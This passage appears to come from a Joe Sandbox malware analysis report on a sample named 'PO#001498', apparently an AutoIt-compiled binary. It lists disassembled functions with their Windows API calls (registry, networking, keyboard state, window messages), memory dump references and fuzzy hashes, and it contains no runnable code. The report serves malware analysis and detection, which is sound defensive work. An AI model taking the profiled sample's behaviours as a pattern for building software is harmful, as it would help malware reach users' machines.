                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: __wcsnicmp
                                                                                                                                                                                • String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
                                                                                                                                                                                • API String ID: 1038674560-2734436370
                                                                                                                                                                                • Opcode ID: dc7e98e38d8725b7134af3b864f32bf76aed1b78794146943df9d66deb8fb3e7
                                                                                                                                                                                • Instruction ID: f72ce1d64a5a3b865947b719243e4701f1ba8c8209579f194a7ae3ad15c73224
                                                                                                                                                                                • Opcode Fuzzy Hash: dc7e98e38d8725b7134af3b864f32bf76aed1b78794146943df9d66deb8fb3e7
                                                                                                                                                                                • Instruction Fuzzy Hash: 1B21F87261161067E730B659DCC2BDB63985F65305F04406BF800AA247D6ADA98A83AA
                                                                                                                                                                                Function 00441561 Relevance: 12.1, APIs: 8, Instructions: 101windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • DeleteObject.GDI32(?), ref: 0044157D
                                                                                                                                                                                • GetDC.USER32(00000000), ref: 00441585
                                                                                                                                                                                • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00441590
                                                                                                                                                                                • ReleaseDC.USER32(00000000,00000000), ref: 0044159B
                                                                                                                                                                                • CreateFontW.GDI32(?,00000000,00000000,00000000,?,000000FF,000000FF,000000FF,00000001,00000004,00000000,?,00000000,00000000), ref: 004415E9
                                                                                                                                                                                • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00441601
                                                                                                                                                                                • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00441639
                                                                                                                                                                                • SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00441659
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3864802216-0
                                                                                                                                                                                • Opcode ID: ea0a3e179a2db4f205f3d0bf310cedd64f619745dcd59731a2847991c922bb1b
                                                                                                                                                                                • Instruction ID: 4e191e68d33858d232da06d8f8bca50b2e2c885119a5133d865ec5329e905ca2
                                                                                                                                                                                • Opcode Fuzzy Hash: ea0a3e179a2db4f205f3d0bf310cedd64f619745dcd59731a2847991c922bb1b
                                                                                                                                                                                • Instruction Fuzzy Hash: 1531C172240344BBE7208B14CD49FAB77EDEB88B15F08450DFB44AA2D1DAB4ED808B64
                                                                                                                                                                                Function 004140DB Relevance: 12.0, APIs: 8, Instructions: 42threadCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • ___set_flsgetvalue.LIBCMT ref: 004140E1
                                                                                                                                                                                  • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                                                                                                                                  • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                                                                                                                  • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                                                                                                                                • ___fls_getvalue@4.LIBCMT ref: 004140EC
                                                                                                                                                                                  • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                                                                                                                • ___fls_setvalue@8.LIBCMT ref: 004140FF
                                                                                                                                                                                  • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                                                                                                                • GetLastError.KERNEL32(00000000,?,00000000), ref: 00414108
                                                                                                                                                                                • ExitThread.KERNEL32 ref: 0041410F
                                                                                                                                                                                • GetCurrentThreadId.KERNEL32 ref: 00414115
                                                                                                                                                                                • __freefls@4.LIBCMT ref: 00414135
                                                                                                                                                                                • __IsNonwritableInCurrentImage.LIBCMT ref: 00414148
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Value$CurrentThread__decode_pointer$ErrorExitImageLastNonwritable___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1925773019-0
                                                                                                                                                                                • Opcode ID: 78c5a7e04feddb60afef3bdf2204f5ea6d2fca564e255d6fa6df859771c1ea47
                                                                                                                                                                                • Instruction ID: d0499dd1a11a7aa3f5f6b81cdb2be0183561266298d4129ec5ef95b8f2f1ff50
                                                                                                                                                                                • Opcode Fuzzy Hash: 78c5a7e04feddb60afef3bdf2204f5ea6d2fca564e255d6fa6df859771c1ea47
                                                                                                                                                                                • Instruction Fuzzy Hash: 12018430000200ABC704BFB2DD0D9DE7BA9AF95345722886EF90497212DA3CC9C28B5C
                                                                                                                                                                                Function 004357AD Relevance: 12.0, APIs: 8, Instructions: 36COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • VariantClear.OLEAUT32(00000038), ref: 004357C3
                                                                                                                                                                                • VariantClear.OLEAUT32(00000058), ref: 004357C9
                                                                                                                                                                                • VariantClear.OLEAUT32(00000068), ref: 004357CF
                                                                                                                                                                                • VariantClear.OLEAUT32(00000078), ref: 004357D5
                                                                                                                                                                                • VariantClear.OLEAUT32(00000088), ref: 004357DE
                                                                                                                                                                                • VariantClear.OLEAUT32(00000048), ref: 004357E4
                                                                                                                                                                                • VariantClear.OLEAUT32(00000098), ref: 004357ED
                                                                                                                                                                                • VariantClear.OLEAUT32(000000A8), ref: 004357F6
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ClearVariant
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1473721057-0
                                                                                                                                                                                • Opcode ID: 108e33c2045b04221b4df3f02cd388125a51a7e0134505e60bdc817f2fb2f336
                                                                                                                                                                                • Instruction ID: 4669651a97e20320d925a323ac357da1b1419afffb7c9eb93274aad60c959a81
                                                                                                                                                                                • Opcode Fuzzy Hash: 108e33c2045b04221b4df3f02cd388125a51a7e0134505e60bdc817f2fb2f336
                                                                                                                                                                                • Instruction Fuzzy Hash: BDF03CB6400B446AC235EB79DC40BD7B7E86F89200F018E1DE58783514DA78F588CB64
                                                                                                                                                                                Function 00464A0E Relevance: 10.8, APIs: 7, Instructions: 281networkmemoryCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • WSAStartup.WSOCK32(00000101,?,?), ref: 00464ADE
                                                                                                                                                                                  • Part of subcall function 0045EFE7: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,0047D14B,?,?,?,?), ref: 0045F003
                                                                                                                                                                                • inet_addr.WSOCK32(?,00000000,?,?,00000101,?,?), ref: 00464B1F
                                                                                                                                                                                • gethostbyname.WSOCK32(?,?,00000000,?,?,00000101,?,?), ref: 00464B29
                                                                                                                                                                                • _memset.LIBCMT ref: 00464B92
                                                                                                                                                                                • GlobalAlloc.KERNEL32(00000040,00000040), ref: 00464B9E
                                                                                                                                                                                • GlobalFree.KERNEL32(00000000), ref: 00464CDE
                                                                                                                                                                                • WSACleanup.WSOCK32 ref: 00464CE4
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Global$AllocByteCharCleanupFreeMultiStartupWide_memsetgethostbynameinet_addr
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3424476444-0
                                                                                                                                                                                • Opcode ID: 3a9821fb802cba04523fcb9c1f83c74fd5b22343f7d4654d6e4056c4a41f6a01
                                                                                                                                                                                • Instruction ID: 8d90feaebe95447676150adcea4a136074f650e12d33839f26a9dde16614cdb7
                                                                                                                                                                                • Opcode Fuzzy Hash: 3a9821fb802cba04523fcb9c1f83c74fd5b22343f7d4654d6e4056c4a41f6a01
                                                                                                                                                                                • Instruction Fuzzy Hash: A3A17EB1504300AFD710EF65C982F9BB7E8AFC8714F54491EF64497381E778E9058B9A
                                                                                                                                                                                Function 00440B39 Relevance: 10.8, APIs: 7, Instructions: 261COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetSystemMetrics.USER32(0000000F), ref: 00440B7B
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MetricsSystem
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 4116985748-0
                                                                                                                                                                                • Opcode ID: eff4c90f3403bcfb76001cffaab33834930133fcb34fa8184a7caea4de8066d9
                                                                                                                                                                                • Instruction ID: 1e23dbab6d9439f1299be2c39bdf7de0481ead398f869a6d5eaf0ea33fa99bdf
                                                                                                                                                                                • Opcode Fuzzy Hash: eff4c90f3403bcfb76001cffaab33834930133fcb34fa8184a7caea4de8066d9
                                                                                                                                                                                • Instruction Fuzzy Hash: 8EA19C70608701DBE314CF68C984B6BBBE1FB88704F14491EFA8593251E778F965CB5A
                                                                                                                                                                                Function 0046AB70 Relevance: 10.8, APIs: 7, Instructions: 260registryCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046AC62
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ConnectRegistry_wcslen
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 535477410-0
                                                                                                                                                                                • Opcode ID: 37987dacba266e2f7d681c7555595b89ca1c624194ad33880a6965c3691367fb
                                                                                                                                                                                • Instruction ID: 71109d01e6e71572d3d886d5d9f1e4ab699fb1be984f768d753da2f0a00da466
                                                                                                                                                                                • Opcode Fuzzy Hash: 37987dacba266e2f7d681c7555595b89ca1c624194ad33880a6965c3691367fb
                                                                                                                                                                                • Instruction Fuzzy Hash: BBA18EB1204300AFC710EF65C885B1BB7E4BF85704F14896EF685AB292D779E905CB9B
                                                                                                                                                                                Function 0045377F Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                                  • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                                • _memset.LIBCMT ref: 004538C4
                                                                                                                                                                                • GetMenuItemInfoW.USER32(?,?), ref: 004538EF
                                                                                                                                                                                • _wcslen.LIBCMT ref: 00453960
                                                                                                                                                                                • SetMenuItemInfoW.USER32(00000011,?,00000000,?), ref: 004539C4
                                                                                                                                                                                • SetMenuDefaultItem.USER32(?,000000FF,00000000,?,?), ref: 004539E0
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ItemMenu$Info_wcslen$Default_memset_wcscpy
                                                                                                                                                                                • String ID: 0
                                                                                                                                                                                • API String ID: 3530711334-4108050209
                                                                                                                                                                                • Opcode ID: 95001eb6d8d06d897afce0aca893f4b7651020868193ca3a80220c39ecb6f9c3
                                                                                                                                                                                • Instruction ID: 97d09e0af2b4d046480d7fb626e7fa0667c22e7462995616ff61acde959b3bac
                                                                                                                                                                                • Opcode Fuzzy Hash: 95001eb6d8d06d897afce0aca893f4b7651020868193ca3a80220c39ecb6f9c3
                                                                                                                                                                                • Instruction Fuzzy Hash: 747118F15083015AD714DF65C881B6BB7E4EB98396F04491FFD8082292D7BCDA4CC7AA
                                                                                                                                                                                Function 0047395A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 227COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetCurrentProcessId.KERNEL32(?), ref: 00473A00
                                                                                                                                                                                • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00473A0E
                                                                                                                                                                                • GetProcessIoCounters.KERNEL32(00000000,?), ref: 00473A34
                                                                                                                                                                                • CloseHandle.KERNEL32(00000000,00000000,?,00000028), ref: 00473C01
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Process$CloseCountersCurrentHandleOpen
                                                                                                                                                                                • String ID: HH
                                                                                                                                                                                • API String ID: 3488606520-2761332787
                                                                                                                                                                                • Opcode ID: 12402d889b8d2545f97f81e579d11a3e1d05628ef8a47b4e2ac7d1c45517ac81
                                                                                                                                                                                • Instruction ID: 2161edc7e7eefe464b48455ffcea7dd3157e2cbe85e131cccd8837112284b0a3
                                                                                                                                                                                • Opcode Fuzzy Hash: 12402d889b8d2545f97f81e579d11a3e1d05628ef8a47b4e2ac7d1c45517ac81
                                                                                                                                                                                • Instruction Fuzzy Hash: 3581BF71A043019FD320EF69C882B5BF7E4AF84744F108C2EF598AB392D675E945CB96
                                                                                                                                                                                Function 004472C8 Relevance: 10.7, APIs: 7, Instructions: 207COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                                                                                                  • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                                                                                                  • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                                                                                                  • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                                                                                                                  • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                                                                                                • Ellipse.GDI32(?,?,?,00000000), ref: 00447463
                                                                                                                                                                                • MoveToEx.GDI32(?,?,?,00000000), ref: 00447473
                                                                                                                                                                                • AngleArc.GDI32(?,?,?,?,?,?), ref: 004474B6
                                                                                                                                                                                • LineTo.GDI32(?,?), ref: 004474BF
                                                                                                                                                                                • CloseFigure.GDI32(?), ref: 004474C6
                                                                                                                                                                                • SetPixel.GDI32(?,?,?,?), ref: 004474D6
                                                                                                                                                                                • Rectangle.GDI32(?,?), ref: 004474F3
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Object$Select$AngleBeginCloseCreateDeleteEllipseFigureLineMovePathPixelRectangle
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 4082120231-0
                                                                                                                                                                                • Opcode ID: 3e823f4574af11f26be8c20bd8771cfecf2a7ea1363ae8038588c787c8c49515
                                                                                                                                                                                • Instruction ID: e2e17d079c8faeb919f1a119f9aa9df975eabc7d00289576b12f70c1741c819b
                                                                                                                                                                                • Opcode Fuzzy Hash: 3e823f4574af11f26be8c20bd8771cfecf2a7ea1363ae8038588c787c8c49515
                                                                                                                                                                                • Instruction Fuzzy Hash: BC713AB11083419FD300DF15C884E6BBBE9EFC9708F148A1EF99497351D778A906CBAA
                                                                                                                                                                                Function 00447303 Relevance: 10.7, APIs: 7, Instructions: 192COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                                                                                                  • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                                                                                                  • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                                                                                                  • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                                                                                                                  • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                                                                                                • Ellipse.GDI32(?,?,?,00000000), ref: 00447463
                                                                                                                                                                                • MoveToEx.GDI32(?,?,?,00000000), ref: 00447473
                                                                                                                                                                                • AngleArc.GDI32(?,?,?,?,?,?), ref: 004474B6
                                                                                                                                                                                • LineTo.GDI32(?,?), ref: 004474BF
                                                                                                                                                                                • CloseFigure.GDI32(?), ref: 004474C6
                                                                                                                                                                                • SetPixel.GDI32(?,?,?,?), ref: 004474D6
                                                                                                                                                                                • Rectangle.GDI32(?,?), ref: 004474F3
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Object$Select$AngleBeginCloseCreateDeleteEllipseFigureLineMovePathPixelRectangle
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 4082120231-0
                                                                                                                                                                                • Opcode ID: bd92991fb0a59d5160a547c0af993f50d26037df712543aebae1afc8709768cb
                                                                                                                                                                                • Instruction ID: 71053adf7dd607ae91079c2ca5de7ffea4483cc305881a9741cc2e8bc8d6f2cf
                                                                                                                                                                                • Opcode Fuzzy Hash: bd92991fb0a59d5160a547c0af993f50d26037df712543aebae1afc8709768cb
                                                                                                                                                                                • Instruction Fuzzy Hash: 55613BB51083419FD300DF55CC84E6BBBE9EBC9308F148A1EF99597351D738A906CB6A
                                                                                                                                                                                Function 0044733D Relevance: 10.7, APIs: 7, Instructions: 177COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: AngleCloseEllipseFigureLineMovePixelRectangle
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 288456094-0
                                                                                                                                                                                • Opcode ID: d308d32173f93e4cd5527eec6d709d72f3e0fef6f2bd509874fda6c33d0c9603
                                                                                                                                                                                • Instruction ID: d3db7697bfba14f4a3ad6627a8a5faa1010559558ae5e3f89cc6b0bd66950af4
                                                                                                                                                                                • Opcode Fuzzy Hash: d308d32173f93e4cd5527eec6d709d72f3e0fef6f2bd509874fda6c33d0c9603
                                                                                                                                                                                • Instruction Fuzzy Hash: 90514BB51082419FD300DF15CC84E6BBBE9EFC9308F14891EF99497351D734A906CB6A
                                                                                                                                                                                Function 0044496C Relevance: 10.7, APIs: 7, Instructions: 164windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetParent.USER32(?), ref: 004449B0
                                                                                                                                                                                • GetKeyboardState.USER32(?), ref: 004449C3
                                                                                                                                                                                • SetKeyboardState.USER32(?), ref: 00444A0F
                                                                                                                                                                                • PostMessageW.USER32(?,00000101,00000010,?), ref: 00444A3F
                                                                                                                                                                                • PostMessageW.USER32(?,00000101,00000011,?), ref: 00444A60
                                                                                                                                                                                • PostMessageW.USER32(?,00000101,00000012,?), ref: 00444AAC
                                                                                                                                                                                • PostMessageW.USER32(?,00000101,0000005B,?), ref: 00444AD1
                                                                                                                                                                                Memory Dump Source
